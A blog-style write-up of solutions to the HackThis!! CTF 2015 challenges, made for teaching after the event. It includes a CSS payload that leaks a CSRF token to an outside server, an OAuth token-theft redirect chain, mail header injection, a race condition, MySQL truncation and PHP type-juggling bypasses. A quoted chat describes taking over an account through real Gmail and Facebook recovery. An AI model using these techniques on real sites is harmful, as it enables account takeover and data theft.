During the HackThis!! CTF 2015, various people have asked me for hints and more. As they, and many before them, have noticed, I'm not a big supporter of giving them what they want. Even less so in the context of an event like this. The process of trying to figure things out for yourself is the most rewarding to me.
Of course, not everyone has the same knowledge and experience. The nice part of a CTF running for a limited time is that we can draw a line where before things were spoilers and after things are lessons. Hopefully this document can provide some of you with some new insights and help you on your way to the next event.
Many thanks to flabbyrabbit for a very entertaining CTF.
The section "Claiming a flag" on the home page gives an example flag. This turns out to be an actual flag. Sneaky!
We are given an android app MySS.apk, which I would normally reverse engineer by using dex2jar and Jad. However, in this case the relevant information won't be found that way. The app is essentially nothing more than a wrapped web app whose sources can be gotten straight from the APK file.
An APK file is just a zip file (similar to a JAR file), so we can unzip it and view the contents. In this case we are interested in the files in assets/www/. Here we have a pretty basic index.html, some font files and a bunch of scripts. Now most of the script files have some nice comments at the start, so they are probably just standard libraries and aren't a priority to look at.
The only exception is scripts.js. Examining it shows that the code has been obfuscated, but luckily not that well. I made a little tool to clean things up a bit, but there might be similar (and better) tools on the web. All my tool does is take the array on the first line, decode the elements and substitute them in the rest of the file where they are used. Here is my quick&dirty Python code:
import re js = open('files/assets/www/scripts.js').read() array, rest = js.split(';',1) strings = eval(array.split('=')[1]) def subst(m): return repr(strings[int(m.group(1))]) rest = re.sub('_0x18c8\[(\d*)\]',subst,rest) print rest
After doing some basic layout improvement (s/[{}]/\n&\n/g, but a pretty printer would be better), looking through the result, you can find three URLs and POST parameters:
After registering an account and some experimenting, one can notice that once you have a hash for getDetails, you can change the id to anything. I haven't found a way to directly get the id for MrTrain, so I just enumerated the ids one by one until I found him. Once found, checking the images to get the required information is easy.
Time to hit the Google! From what I gather the search results may vary a bit depending on your localisation and personalisation. Also, there seems to have been some joker making fake accounts with misleading information.
For me the full mail address didn't give any results, but just the name stoyanisawesome gave me a twitter and a flickr account (although I don't remember getting his flickr on my first tries). Twitter gives us a partial name "Stoyan J" and a posted picture that suggests a flickr account (if you didn't find it already).
The flickr account gives us his full name: Stoyan Jefferson. He also has a nice album with in the description the information that he just moved "there". In it, one of the pictures is of a statue with a plaque captioned "The Jester". Searching for "the jester statue" brought me to an image of the statue on wikimedia, which has the description "The Jester Statue on Henley Street, Stratford-upon-Avon, England." So it appears Stoyan has moved to Stratford-upon-Avon.
The last part is where a lot of people struggle, including myself. Just using search engines doesn't seem to get you there. Eventually, I just started checking the various social-media sites manually. Even that seemed to fail until I saw some other Stoyan's Facebook address and figured I could simply try changing the lastname to Jefferson and indeed get his page. Just searching on Facebook itself doesn't seem to work.
On his Facebook we can see a post from June 6 where he hints at his birthday by saying "So full of cake!! Thanks everyone for coming". We already know that he's 31 from the task description, so his birthday should be on June 6, 1984.
Only thing left is entering the information we found. Some were struggling with finding the right date format, but didn't realise they had actually found the wrong date. The checker seems to accept various formats and the day and the month both being 6 avoids problems with silly formats that swap the two. Formats such as "June 6, 1984", "06-06-1984" and "06/06/1984" all work.
One special mention is deserved by ransetsu. Instead of doing the above, he managed to exploit the password recovery for one of the e-mail addresses:
<ransetsu> so basically i went though password recovery on facebook first. found out that the email for the facebook account started with an s and ended with an n <ransetsu> and was exactly as long as his name with no spaces <ransetsu> went to gmail recovery and found out that that that account had a recovery email that started with an s and ended with an e <ransetsu> aka stoyanisawesome@gmail.com <ransetsu> went through pass recovery on that one. it asked me for an old pass. i clicked i dont know <ransetsu> it then asked when you last had access to this account MM/DD/YY and when it was created MM/YY <ransetsu> and i guess i guessed it accurately based on the creation date of the twitter page <dloser> oO <ransetsu> then it asked me to put in an email you want the recovery link sent to <ransetsu> and the rest doesn't need explaining
This one isn't too hard if you are familiar with PGP. If you are not, you'll have to read up a bit and perhaps install some software. I'm using gpg on Linux here.
The first step is finding Kiera's public key. She said it would be easy to find, so it should be posted somewhere online. Typically this is done on a public key server. If you check the most used servers, you should find her key. Googling "pgp key server" gives me MIT's server as top result, so that too is an easy path to success. Even easier is using your software if it has key servers preconfigured (e.g.: gpg --recv-key 'Kiera Holmes')
If you are doing it manually, searching for "Kiera Holmes" on the key server should give you her key. After downloading, you import it with gpg --import < key. Now you can send her encrypted messages. I did this with gpg -a -e -r 'Kiera Holmes' > msg. See man gpg for the meaning of the options.
Now, to properly communicate we need a key of our own and upload it to the key server. If you haven't got one already, you can generate a new one with gpg --gen-key. Once you have one, you can export it with gpg -a --export <key name/id> and upload it. That, or use gpg --send-keys.
All that remains is sending Kiera a message with our key's fingerprint (gpg --fingerprint; no spaces). If done right, Kiera will reply soon after with the flag in an encrypted message, which you can read with gpg -d < msg.
Easy to confuse with something like a simple substitution cipher, but the hint about onions should make you think. By now you can also just search for the string and notice that it is an onion address for a Tor service.
If you don't have Tor installed, you can simply use one of the available gateways.
Here we are presented with an encryption service. We can encrypt messages to anyone as well as create new accounts. However, we are not supplied with a way to decrypt messages, even if we have a key. Only thing we are told is that AES-128 is used.
By playing a bit with messages of varying length and minor variations, you should observe the following two crucial properties. One is that length of input directly corresponds with length of output. The other is that changing a single character in the input only changes a single character in the output (of course, after base64 decoded).
For the more experienced, this will clearly point at a stream cipher. If you are less experienced and read about AES, you'll see that it is a block cipher. Which is odd because that would suggest that the output size is always a multiple of the block size, which is not the case here. Searching for "AES stream", you'll find that there are ways to turn a block cipher into a stream cipher. For example, check out the OFB and CTR modes.
In the case of a stream cipher where input bytes and output bytes are directly related (our second property), the actual cipher isn't that important. All you need to know is that there is a key stream generated based purely on the static key (i.e. every message uses the same key stream). Typically the bytes of this key stream are xorred with the bytes of the input message to get the output message. This means that if we have an input message and the corresponding output message, we can get the key stream by xorring the input and output message together.
After trying this out with some example messages, you'll find that this indeed works. Encrypting a long input message and xorring it with the output message gives a key stream that allows the decryption of other messages for that same user. All that is left now is encrypting such a long message for each of the users and we can decrypt all messages and read the flag.
We are given a site with just a login, a password reset form and a link to Adam's site. The login doesn't seem to susceptible to any attacks, so we try and see if we can guess a username for the reset. It took me quite a while to finally try trapezoid, which gives the interesting task of providing a file on this site with a certain key in it.
If we check Adam's site, we'll notice a link to GitHub. There we conveniently find the sources of his website. The only really interesting part is a file upload.php, which allows us to upload any file, but doesn't give us any control over the name and location where it will end up. We can try and upload some PHP or something, but unfortunately the server isn't going to execute it for us. Just in case it will be useful, let's upload a file with the key from trapezoid and assume it is located in upload_XXXXXX.
Now comes the tricky part. When we play with the trapezoid URI form, we see that we are stuck with something starting with http://trapezoid.<id>.ctf.hackthis.co.uk/. Things like ../../adam/public_html/upload/upload_XXXXXXX are of no use because the server considers trapezoid's web directory as root. The best hint on what to do is in the public_html directory we found in the upload.php source.
What you should know is that on (typically) *nix systems, there is a common way to provide users with a website on a server. This is by mapping a public_html directory in their home directory to a subdirectory on some HTTP server. The subdirectory name is chosen in correspondence to the way one refers to a user's home directory on *nix: ~username. If we try this out on trapezoid by going to http://trapezoid.<id>.ctf.hackthis.co.uk/~adam, we see that we indeed get Adam's website. If we now put upload/upload_XXXXXX after it and submit it in the reset form, we get access to area.php
The final step is to deface the website by editing the home page. While trying various things you'll get comments in Mail+ on the result. I've mainly gotten "loose the footer" and "what is that image doing there". Only a few tags are allowed. Probably the easiest method is to make the rest of the page part of a hidden div: <div style='display:none;'><div> The first div is for the hiding, the second to take care of the </div> tag immediately following our input in the source.
On modster it's actually not that hard to find some kind of injection. Both in the name part of the menu and the "About you" textarea XSS is possible. The only problem is that this is only in effect when you are logged in as that particular user. So unless you can update Amy's profile with it, it won't be much use. And updating her profile is the whole goal anyway.
Most of the other places where our input is used are actually properly escaped. The only place that isn't is the "About you" section in the profile (not the edit part). Playing with this field shows that there is some interesting sanitisation going on. Only a few tags and attributes are allowed. Things like images, links and styles are all possible, but as soon as you try to do something interesting with javascript it gets removed.
Because the behaviour of the sanitisation seemed so sophisticated, I decided to see if this was some third-party library. Hopefully one that has some known vulnerability. As far as I can tell from the behaviour and the comments in the release notes, it looks like HTML Purifier 4.6.0. Unless you have a nice 0-day, that's some bad luck.
Looks like we'll have to do with what we are allowed. We can include images using the img tag as well as with CSS, and with it we can see that Amy (presumably) is checking our page when we modify it. As the profile updates happen with GET, this seems to point in the right direction. The only problem we have is that the request has a save parameter that requires the user's token.
How to get the token without JavaScript? The only place we know where the token is available is in the edit form when Amy is logged in. All we really have to work with is CSS. So can we somehow get the value with CSS? Well, not quite, but we can have CSS do things based on that value. With attribute selectors we can check against values and partial values. This allows us to piece together the token digit by digit. I've used the ^= operator that selects based on a prefix:
<style> input[value^="0"] { background: url(http://my.server/0); } input[value^="1"] { background: url(http://my.server/1); } input[value^="2"] { background: url(http://my.server/2); } input[value^="3"] { background: url(http://my.server/3); } input[value^="4"] { background: url(http://my.server/4); } input[value^="5"] { background: url(http://my.server/5); } input[value^="6"] { background: url(http://my.server/6); } input[value^="7"] { background: url(http://my.server/7); } input[value^="8"] { background: url(http://my.server/8); } input[value^="9"] { background: url(http://my.server/9); } </style>
This means that based on the first digit of the token, we set a background image that is specific for that digit. Note that I didn't specify which input should be looked at, but none of the other parts of Amy's profile starts with a digit. Once we get a request to one of the addresses, we know the first digit and repeat the process, but adding that digit to the prefixes in the CSS. Of course, you can try to do two or more digits at the same time, but it isn't really worth the gain.
Once we have found all digits, we can include an image with the address for the profile update: http://modster.<id>.ctf.hackthis.co.uk/profile/amy?name=notamy&save=<token> Note that you don't have to include all the fields to make the update, as you can find out by testing with your own profile.
On this voting site we really only have two actions we can perform. One is to vote for someone (index.php?vote=<id>), the other is to retract that vote (index.php?unvote=true). We haven't gotten a special cookie that registers the vote and voting when already voted isn't effective. Playing around a bit with the vote id doesn't seem to result in anything special either.
This really doesn't leave us much to work with except the timing of the votes. Perhaps a race condition is possible, for example because voting isn't a single isolated action, like db.add_vote(id); db.set_voted(true). I tried this with the available jQuery using the development console of Chrome by running, as a single line: $.post('index.php', {'vote': 5}); $.post('index.php', {'vote': 5}); And what do you know, I voted twice! Note that jQuery requests are per default asynchronous; otherwise this wouldn't have worked this way.
In my case, it turned out that i could only cast 4/5 votes at a time before i had to unvote. So effectively only 3/4 votes were added. This probably depends on your connection and how busy the server is. The initial number of votes of id 5 weren't that far from being the top, so I just manually executed the statements in the console until I had enough. Of course, it is easy enough to automate this if you want to.
If we look at the details we can see that most things are pretty standard. The only thing that is interesting is that apparently the client has sent an Allow header with the value secrets. It's extra weird because normally only a server sends this header. Other things we can see are the client IP address and port, the user agent, some additional standard headers and a request time. The rest of the information is about the server itself and doesn't tell us anything about the person visiting.
Just connecting to the site with the Allow header doesn't give any results. Other things I tried is using a method like SECRET instead of GET, because that's what the Allow header is normally about. No luck with that either. Also not with various guesses at script names or directories.
Clearly we need more or different information. Thinking about what kind of ways one can use to restrict access, one of the options could be to check certain things like IP address and user agent. The user agent is easy to change, but the IP won't be possible. That is, unless it doesn't only look at the real IP address, but also checks if you are using a proxy. Proxies can send headers like X-Forwarded-For to let the server know about the real origin of the request.
Just to be sure, I tried to supply as much of the information we've got in my request, including the Allow and a X-Forwarded-For. This gave me the flag. Experimenting a bit more showed that only the Allow and X-Forwarded-For headers that make the difference.
For this task we should observe two main things. The first is that access to the site is via some OAuth system using a site called passbook. The other is a little less obvious, but at the bottom of ratemyex pages we can see links the use some redirection system provided by out.php.
The redirect with out.php is fairly straightforward. The parameters are an address to redirect to and an hash to validate that this address is allowed. The OAuth part has the following flow:
When we log in, we can see that the only option we really have is to send a contact message. This message will be send to KingPimp, who will respond in Mail+. After this first message, you can also directly mail KingPimp from Mail+. His responses should make clear that he only expects a link and that that link has to be to his own site.
Given all this, it should be reasonably clear that we have to abuse this functionality to make KingPimp go somewhere such that we can steal his token and log in with that. As he only accepts links from his own site, we'll examine out.php to see if we can use it with other addresses.
Manipulating the p parameter to out.php, we can find out that it makes sure that it is a valid URI and that the hostname isn't manipulated with. It is likely that it does this by checking it against the h parameter, which looks like a CRC32 value. However, if you make a mistake like I did and don't come to the conclusion that it is, you can try something like the following in PHP:
foreach (hash_algos() as $ha) { echo "$ha ".hash($ha,"templated.co")."\n"; }
Now knowing that it is a CRC32 value, we can confirm that we can substitute another address if we change h to the CRC32 of the hostname of that address. This means we can redirect KingPimp to anywhere we like.
As we want KingPimp's token, it's logical to try and redirect him to passbook, but we'll have to make sure that we get the token instead of him. This means it is time to see if we can manipulate the redirect_uri parameter of passbook. It is very similar to the p parameter of ratemyex's out.php, but this time the hostname seems to be checked against the clientID. The clientID doesn't look like any obvious thing such as a hash and is probably just some random string used for database lookups. Fortunately, it accepts ratemyex addresses and we can just use our previously exploited out.php.
Now we need to put it all together. I've done it in such a way that the first redirect goes to my server, which again redirects to passbook. This keep the address we send to KingPimp short and allows me to fiddle more easily on my server with the redirect and what not. The end result is the following:
Something to note is that passbook appends ?<token> to redirect_uri, so we have to make sure that it becomes part of our token-capturing address. This is why the order of the parameters p and h has to be swapped around.
With the token we can now log in as KingPimp by going to http://ratemyex.<id>.ctf.hackthis.co.uk/out.php?token=<token> and remove Clark from the list.
A contact form. First thing I considered was that it could be a classic one were we can inject extra headers using new-lines. I typically use curl on the command line for these tests. We set the email parameter to me@mail.com%0aTo:me@mail.com (using you own address, of course) and see what happens. Hopefully the mail will be generated by adding something like 'From: '.$_POST['email'] without any filtering. The extra To: might result in a copy of the mail to me@mail.com.
What happens is that we indeed get a copy of the mail. In the mail we can see that it is sent to three additional addresses. Sending those to Hutchings will get us the flag.
One thing to note is that this doesn't work when you put a space after the "To:".
All we are given is an image, which immediately suggest steganography. If we analyse the image with our standard techniques, we don't find anything at all. However, because it doesn't seem to be a custom image specifically made for the challenge, we have some extra information: the original image. A quick search for the name in the image should point you directly to the original image on Razer's site.
With the original image, we can do an comparison. I used GIMP for this. I copied one of the images into a new layer in the other image and set the mode to difference. Then I merged the two layers and normalised the colours. Two lines of spaced out pixels appear. At this point I switch to python to easily get the different pixels and be able to play with it. This is the code I start with:
import Image img1 = Image.open('razer.php') W,H = img1.size d1 = img1.load() img2 = Image.open('razer.png') # original d2 = img2.load() for y in range(0,H): for x in range(0,W): if d1[x,y] != d2[x,y]: print x,y,d1[x,y],d2[x,y]
Looking at the differences, we can see that in the edited image all the green components are 1 lower than in the original (except when the original was 0). There can't really be any information in that but to serve as an indication of the interesting pixels. So we'll have to look at the pixel values and coordinates. Because of the particular spacing, the latter seems a logical starting point.
The spacing isn't constant, but does seem to be roughly 100 in many steps. Hoping for some ASCII, we can compute the distances between pixels and see what comes up. And what comes up looks an awful lot like a flag. The only slightly tricky part is the transition from the first line of pixels to the next one, but a % W solves that easily.
Note that the link for the image is a PHP file. Some thought this might be of some significance, but it is just so you get your own specific image with custom flag.
For a newbie, his code isn't all that bad. The prepared SQL statements make SQL injection very unlikely, so we need some careful analysis. Looking at the login part, starting from our goal to get admin, we see that we need a value for limited that evaluates to false. There is only one place where the this value is set, and that is on line 39, where it will always get the default value 1, which is exactly what we don't want.
To avoid giving limited the value 1, our only option seems to be to avoid having the INSERT of it happen successfully. We do, however, need a user without this value, so we probably can't avoid executing the INSERT. Because the inserted id is used as key, it has to be unique. Inserting an id that is already there, should result in a failure. Then again, if it is already there, it should have the value 1 and the username should already have been registered before. If that was the case we wouldn't be inside this if.
The key to the solution for this is in the data types. If you look at the MySQL documentation, you can see that TEXT columns can only hold up to 216 characters. This raises the question what happens when you try to insert more, to which the answer is that the input is truncated.
Here we run into a problem with the challenge, unfortunately. It turns out that the displayed code wouldn't work with MySQL and if it would, it wouldn't behave like it does in the challenge. The TEXT UNIQUE column isn't allowed, and trying to insert duplicate (after truncation) elements results in an error.
If we assume that it does, like in the challenge, then we have our solution. Register a user whose name is 65535 characters long with one password, then register a user whose name is the same but with one extra character and with a different password. What happens on the second registration is that the new name is not found in the table, but when inserting it gets truncated and turns into a duplicate of the first name. So now there are two users with the same name, but different ids and passwords.
The following select to get the id for the new user, will actually turn up with nothing (because it searches for longer second name), which will result in a failure to insert the entry into usersPriv. All we have to do then is login with the truncated name and the second password. This will return the second user, but its id won't be found in usersPriv, which makes us admin.
The first part of this challenge is finding the source of script.php. We are given the information that #Gman switched to nano, so a good place to start is to check the manual of nano to see if it leaves behind some interesting files. There are various options, but the one that eventually works is script.php.save.
At first glance, the condition of the if might appear impossible to satisfy, but PHP wouldn't be PHP if seemingly normal code didn't have all kinds of undesired special cases. The problem is that one is tempted to think only in strings. However, you can't only POST strings; arrays are also an option!
Simply passing any array as the secret parameter will work (e.g.: ?secret[]=). Both strpos and strlen don't know what to do with it and return NULL, which makes us get another flag.